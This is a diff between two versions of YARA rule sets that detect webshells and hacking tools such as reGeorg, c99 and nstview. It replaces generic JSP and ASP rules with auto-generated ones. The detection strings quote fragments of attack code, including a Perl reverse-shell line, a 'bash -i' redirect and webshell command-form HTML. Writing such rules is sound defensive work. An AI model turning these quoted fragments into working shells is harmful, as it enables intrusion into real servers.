-		$scan4 = "File" nocase fullword wide ascii
-		$scan5 = "System.IO" nocase fullword wide ascii
-		$scan6 = "CanWrite" nocase fullword wide ascii
-		$scan7 = "Delete" nocase fullword wide ascii
-		$sus1 = "upload" nocase fullword wide ascii
-		$sus2 = "shell" nocase wide ascii
-		$sus3 = "orking directory" nocase fullword wide ascii
-		$sus4 = "scan" nocase wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
+		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "
 
 	condition:
-		filesize <10KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and 6 of ($scan*) and any of ($sus*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Regeorg : FILE
+rule SIGNATURE_BASE_FSO_S_Ntdaddy
 {
 	meta:
-		description = "Webshell regeorg JSP version"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cbb90005-d8f8-5c64-85d1-29e466f48c25"
-		date = "2021-01-24"
-		modified = "2023-04-05"
-		reference = "https://github.com/sensepost/reGeorg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5503-L5553"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
-		hash = "650eaa21f4031d7da591ebb68e9fc5ce5c860689"
-		hash = "00c86bf6ce026ccfaac955840d18391fbff5c933"
-		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
-		hash = "9108a33058aa9a2fb6118b719c5b1318f33f0989"
-		logic_hash = "0fc038262f6e0463c45ef90bd01d08269bc34d3859d1b61904cc6de03db7c721"
+		description = "Webshells Auto-generated - file ntdaddy.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b6b655b8-7bce-5fa5-97b7-a020a7e53f4f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8023-L8034"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
+		logic_hash = "4df6f53ee9bfc0214e69dd858878026e962b90573ed48a5ffdd5523538e8f3bf"
 		score = 75
-		quality = 50
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$jgeorg1 = "request" fullword wide ascii
-		$jgeorg2 = "getHeader" fullword wide ascii
-		$jgeorg3 = "X-CMD" fullword wide ascii
-		$jgeorg4 = "X-STATUS" fullword wide ascii
-		$jgeorg5 = "socket" fullword wide ascii
-		$jgeorg6 = "FORWARD" fullword wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
+		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"
 
 	condition:
-		filesize <300KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and all of ($jgeorg*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_HTTP_Proxy : FILE
+rule SIGNATURE_BASE_Nstview_Nstview
 {
 	meta:
-		description = "Webshell JSP HTTP proxy"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "55be246e-30a8-52ed-bc5f-507e63bbfe16"
-		date = "2021-01-24"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5555-L5603"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2f9b647660923c5262636a5344e2665512a947a4"
-		hash = "97c1e2bf7e769d3fc94ae2fc74ac895f669102c6"
-		hash = "2f9b647660923c5262636a5344e2665512a947a4"
-		logic_hash = "0a9aa309ca9ef19b5d2bb039906d5a610e26b61c98135d8cabf9ea5924cd46db"
+		description = "Webshells Auto-generated - file nstview.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "00df601c-bddb-5da8-bef4-d2122419b5d0"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8035-L8046"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3871888a0c1ac4270104918231029a56"
+		logic_hash = "2b25e22d86a672af0b8957f1b0336ed80e09f3389f5045c230af2372db0e3415"
 		score = 75
-		quality = 50
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$jh1 = "OutputStream" fullword wide ascii
-		$jh2 = "InputStream" wide ascii
-		$jh3 = "BufferedReader" fullword wide ascii
-		$jh4 = "HttpRequest" fullword wide ascii
-		$jh5 = "openConnection" fullword wide ascii
-		$jh6 = "getParameter" fullword wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
+		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"
 
 	condition:
-		filesize <10KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and all of ($jh*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Writer_Nano : FILE
+rule SIGNATURE_BASE_Hytop_Devpack_Upload
 {
 	meta:
-		description = "JSP file writer"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "422a18f2-d6d4-5b42-be15-1eafe44e01cf"
-		date = "2021-01-24"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5605-L5686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ac91e5b9b9dcd373eaa9360a51aa661481ab9429"
-		hash = "c718c885b5d6e29161ee8ea0acadb6e53c556513"
-		hash = "9f1df0249a6a491cdd5df598d83307338daa4c43"
-		hash = "5e241d9d3a045d3ade7b6ff6af6c57b149fa356e"
-		logic_hash = "8cf47fe03845f39d7ff7ba4ad8f44a879cdf1aba0869921c5adf6d7490bc4174"
+		description = "Webshells Auto-generated - file upload.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "43054993-b0dd-5d2e-9890-db1f47759be5"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8047-L8058"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b09852bda534627949f0259828c967de"
+		logic_hash = "312020a72a37adb0111ac6d61810c8e476be39dc6456e80e83cd6a680e8ea051"
 		score = 75
-		quality = 48
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload1 = ".write" wide ascii
-		$payload2 = "getBytes" fullword wide ascii
-		$payload3 = ".decodeBuffer" wide ascii
-		$payload4 = "FileOutputStream" fullword wide ascii
-		$logger1 = "getLogger" fullword ascii wide
-		$logger2 = "FileHandler" fullword ascii wide
-		$logger3 = "addHandler" fullword ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
-		$jw_sus1 = /getParameter\("."\)/ ascii wide
-		$jw_sus4 = "yoco" fullword ascii wide
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
+		$s0 = "<!-- PageUpload Below -->"
 
 	condition:
-		( any of ($input*) and any of ($req*)) and ( filesize <200 or ( filesize <1000 and any of ($jw_sus*))) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and (2 of ($payload*) or all of ($logger*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Tiny : FILE
+rule SIGNATURE_BASE_Passwordreminder
 {
 	meta:
-		description = "Generic JSP webshell tiny"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "7535ade8-fc65-5558-a72c-cc14c3306390"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5688-L5771"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fd343db0442136e693e745d7af1018a99b042af"
-		hash = "87c3ac9b75a72187e8bc6c61f50659435dbdc4fde6ed720cebb93881ba5989d8"
-		hash = "1aa6af726137bf261849c05d18d0a630d95530588832aadd5101af28acc034b5"
-		logic_hash = "fe7f2ab2820520e8964b874a7f9af356db9355f263c821d180e54c774e10530b"
+		description = "Webshells Auto-generated - file PasswordReminder.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "642033ee-4454-5913-8348-4d1579fc0bd8"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8059-L8070"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
+		logic_hash = "f3da5381f5e352c541654d2af918ca8cea8049d137078670dd0538a4d13f676e"
 		score = 75
-		quality = 48
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload1 = "ProcessBuilder" fullword wide ascii
-		$payload2 = "URLClassLoader" fullword wide ascii
-		$payload_rt1 = "Runtime" fullword wide ascii
-		$payload_rt2 = "getRuntime" fullword wide ascii
-		$payload_rt3 = "exec" fullword wide ascii
-		$jg_sus1 = "xe /c" ascii wide
-		$jg_sus2 = /getParameter\("."\)/ ascii wide
-		$jg_sus3 = "</pre>" ascii wide
-		$jg_sus4 = "BASE64Decoder" fullword ascii wide
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
-		$fixed_cmd1 = "bash -i >& /dev/" ascii wide
+		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."
 
 	condition:
-		(( filesize <1000 and any of ($jg_sus*)) or filesize <250) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and (( any of ($input*) and any of ($req*)) or ( any of ($fixed_cmd*))) and (1 of ($payload*) or all of ($payload_rt*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic : FILE
+rule SIGNATURE_BASE_Pack_Injectt
 {
 	meta:
-		description = "Generic JSP webshell"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "7535ade8-fc65-5558-a72c-cc14c3306390"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5773-L5865"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4762f36ca01fb9cda2ab559623d2206f401fc0b1"
-		hash = "bdaf9279b3d9e07e955d0ce706d9c42e4bdf9aa1"
-		hash = "ee9408eb923f2d16f606a5aaac7e16b009797a07"
-		logic_hash = "86be80a7a970657af047ac9d0aaccbcd2cf9afdf0bd891efa8510ffd803530da"
+		description = "Webshells Auto-generated - file InjectT.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3a640c22-0cd4-5ab1-9216-c68625d7d505"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8071-L8086"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "983b74ccd57f6195a0584cdfb27d55e8"
+		logic_hash = "9f66b7b429ed585888c0fb4943bb12262247b3af8d85bc67309b27752171e66a"
 		score = 75
-		quality = -24
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$susp0 = "cmd" fullword nocase ascii wide
-		$susp1 = "command" fullword nocase ascii wide
-		$susp2 = "shell" fullword nocase ascii wide
-		$susp3 = "download" fullword nocase ascii wide
-		$susp4 = "upload" fullword nocase ascii wide
-		$susp5 = "Execute" fullword nocase ascii wide
-		$susp6 = "\"pwd\"" ascii wide
-		$susp7 = "\"</pre>" ascii wide
-		$susp8 = /\\u00\d\d\\u00\d\d\\u00\d\d\\u00\d\d/ ascii wide
-		$susp9 = "*/\\u00" ascii wide
-		$fp1 = "command = \"cmd.exe /c set\";"
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
-		$payload1 = "ProcessBuilder" fullword ascii wide
-		$payload2 = "processCmd" fullword ascii wide
-		$rt_payload1 = "Runtime" fullword ascii wide
-		$rt_payload2 = "getRuntime" fullword ascii wide
-		$rt_payload3 = "exec" fullword ascii wide
+		$s3 = "ail To Open Registry"
+		$s4 = "32fDssignim"
+		$s5 = "vide Internet S"
+		$s6 = "d]Software\\M"
+		$s7 = "TInject.Dll"
 
 	condition:
-		filesize <300KB and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and (1 of ($payload*) or all of ($rt_payload*)) and not any of ($fp*) and any of ($susp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Base64 : FILE
+rule SIGNATURE_BASE_FSO_S_Remexp_2
 {
 	meta:
-		description = "Generic JSP webshell with base64 encoded payload"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2eabbad2-7d10-573a-9120-b9b763fa2352"
-		date = "2021-01-24"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5867-L5942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8b5fe53f8833df3657ae2eeafb4fd101c05f0db0"
-		hash = "1b916afdd415dfa4e77cecf47321fd676ba2184d"
-		logic_hash = "543f4e528763c9e40e49b4169c792818a73a23cbbbee25332749626d8e58b1b8"
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "501544d5-fe52-5933-8782-516ffe18f3ff"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8087-L8099"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+		logic_hash = "e31e25a7c2b2e970a379a61d2dac335bd37cac48328eee9f3966ff5c77ef6f18"
 		score = 75
-		quality = 48
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$one1 = "SdW50aW1l" wide ascii
-		$one2 = "J1bnRpbW" wide ascii
-		$one3 = "UnVudGltZ" wide ascii
-		$one4 = "IAdQBuAHQAaQBtAGUA" wide ascii
-		$one5 = "SAHUAbgB0AGkAbQBlA" wide ascii
-		$one6 = "UgB1AG4AdABpAG0AZQ" wide ascii
-		$two1 = "leGVj" wide ascii
-		$two2 = "V4ZW" wide ascii
-		$two3 = "ZXhlY" wide ascii
-		$two4 = "UAeABlAGMA" wide ascii
-		$two5 = "lAHgAZQBjA" wide ascii
-		$two6 = "ZQB4AGUAYw" wide ascii
-		$three1 = "TY3JpcHRFbmdpbmVGYWN0b3J5" wide ascii
-		$three2 = "NjcmlwdEVuZ2luZUZhY3Rvcn" wide ascii
-		$three3 = "U2NyaXB0RW5naW5lRmFjdG9ye" wide ascii
-		$three4 = "MAYwByAGkAcAB0AEUAbgBnAGkAbgBlAEYAYQBjAHQAbwByAHkA" wide ascii
-		$three5 = "TAGMAcgBpAHAAdABFAG4AZwBpAG4AZQBGAGEAYwB0AG8AcgB5A" wide ascii
-		$three6 = "UwBjAHIAaQBwAHQARQBuAGcAaQBuAGUARgBhAGMAdABvAHIAeQ" wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$s2 = " Then Response.Write \""
+		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"
 
 	condition:
-		($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and filesize <300KB and ( any of ($one*) and any of ($two*) or any of ($three*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Processbuilder : FILE
+rule SIGNATURE_BASE_FSO_S_C99
 {
 	meta:
-		description = "Generic JSP webshell which uses processbuilder to execute user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2a7c5f44-24a1-5f43-996e-945c209b79b1"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5944-L5981"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "82198670ac2072cd5c2853d59dcd0f8dfcc28923"
-		hash = "c05a520d96e4ebf9eb5c73fc0fa446ceb5caf343"
-		hash = "347a55c174ee39ec912d9107e971d740f3208d53af43ea480f502d177106bbe8"
-		hash = "d0ba29b646274e8cda5be1b940a38d248880d9e2bba11d994d4392c80d6b65bd"
-		logic_hash = "fffc173cc23e158e319e48097243a64da232151e441c39e4b6ecc2565a82d862"
+		description = "Webshells Auto-generated - file c99.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0b176370-a5ab-587a-b0e9-ef4fe5c604bd"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8100-L8111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5f9ba02eb081bba2b2434c603af454d0"
+		logic_hash = "de769299bbd8b895b84db757fcc037b807f7caaa624c06e9d330934a968b2381"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$exec = "ProcessBuilder" fullword wide ascii
-		$start = "start" fullword wide ascii
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
+		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"
 
 	condition:
-		filesize <2000 and ( any of ($input*) and any of ($req*)) and $exec and $start
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Reflection : FILE
+rule SIGNATURE_BASE_Rknt_Zip_Folder_Rknt
 {
 	meta:
-		description = "Generic JSP webshell which uses reflection to execute user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "806ffc8b-1dc8-5e28-ae94-12ad3fee18cd"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5983-L6064"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
-		hash = "bf0ff88cbb72c719a291c722ae3115b91748d5c4920afe7a00a0d921d562e188"
-		logic_hash = "8142b67c428072ddce2543c014ad53023265cb36c5b77346590db8c68afcd9db"
+		description = "Webshells Auto-generated - file RkNT.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a58a3b33-8096-535a-b930-2eb71347edb8"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8112-L8129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5f97386dfde148942b7584aeb6512b85"
+		logic_hash = "59de8a40a7081ee5fbea9f413590237c1da9985f2352b32571529baf38c93ddb"
 		score = 75
-		quality = 0
-		tags = "FILE"
+		quality = 85
+		tags = ""
